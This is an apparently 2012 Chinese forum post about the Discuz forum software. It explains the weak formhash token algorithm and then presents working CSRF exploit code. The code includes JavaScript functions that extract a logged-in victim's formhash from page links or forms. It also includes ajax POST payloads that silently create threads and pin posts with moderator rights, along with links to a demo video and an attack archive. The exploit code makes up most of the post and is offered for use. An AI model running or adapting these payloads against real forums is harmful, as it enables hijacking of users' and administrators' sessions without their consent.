本帖最后由 呐誰丶莪暧伱_′ 于 2012-12-7 15:38 编辑
熟悉discuz的都知道,formhash是一种类似验证码的东西,用来防止从我们网站外部提交数据,但不需要我们手动输入,它在页面打开时就已经生成了,存在一需要提交数据用到的地方的隐藏input里(比如登录、发布文章)。 我们来看看这货的生成算法 function formhash($specialadd = '') { global $_G; $hashadd = defined('IN_ADMINCP') ? 'Only For Discuz! Admin Control Panel' : ''; return substr(md5(substr($_G['timestamp'], 0, -7).$_G['username'].$_G['uid'].$_G['authkey'].$hashadd.$specialadd), 8, 8);}时间戳前3位,大概是 100多天的样子,也就是说这货对于同一人来说 100 天内是不变的. 即可简单获取目标的formhash(算法比较傻逼=.=) function getHash() { for(var i=0; i<document.links.length; i++) { if(document.links.href.indexOf("action=logout&formhash=")>0) { hash=document.links.href; hash=hash.substr(hash.length-8,hash.length); break; } }}补充:0x_Jin 给出的另一种获取代码 function hash(){ var links=document.links,forms=document.forms; for(i in links){ var ref=links.href||''; if(ref.indexOf('action=logout&formhash=')>0){ return ref.substr(ref.length-8,ref.length); } } for(f in forms){ if(forms[f].formhash){ return forms[f].formhash.value; } }}接下来的事情就简单了 只要抓取各种包 加上formhash 即可中出 例如 (使用了一个兼容的ajax库 详见附件) 劫持发帖 x.post("forum.php?mod=post&action=newthread&fid=2&extra=&topicsubmit=yes","formhash="+hash+"&posttime=1353989838&wysiwyg=1&subject=title&message=aaaaaaaaaaaaaaaa%0D%0A&replycredit_extcredits=0&replycredit_times=1&replycredit_membertimes=1&replycredit_random=100&readperm=&price=&tags=test&rushreplyfrom=&rushreplyto=&rewardfloor=&stopfloor=&creditlimit=&save=&adddynamic=true&usesig=1&allownoticeauthor=1");置顶指定帖子 x.post("forum.php?mod=topicadmin&action=moderate&optgroup=1&modsubmit=yes&infloat=yes&inajax=1","frommodcp=&formhash="+hash+"&fid=2&redirect=&listextra=page%3D1&handlekey=mods&moderate[]=12&operations[]=stick&sticklevel=3&expirationstick=&digestlevel=0&expirationdigest=&highlight_color=0&highlight_style[1]=0&highlight_style[2]=0&highlight_style[3]=0&expirationhighlight=&reason=");演示视频:http://v.youku.com/v_show/id_XNDg0NDg2MjU2.html 高清无码:http://pan.baidu.com/share/link?shareid=136314&uk=587894688 附件下载:http://yaseng.me/wp-content/uploads/2012/12/Csrf-hijacking-admin-demo.rar |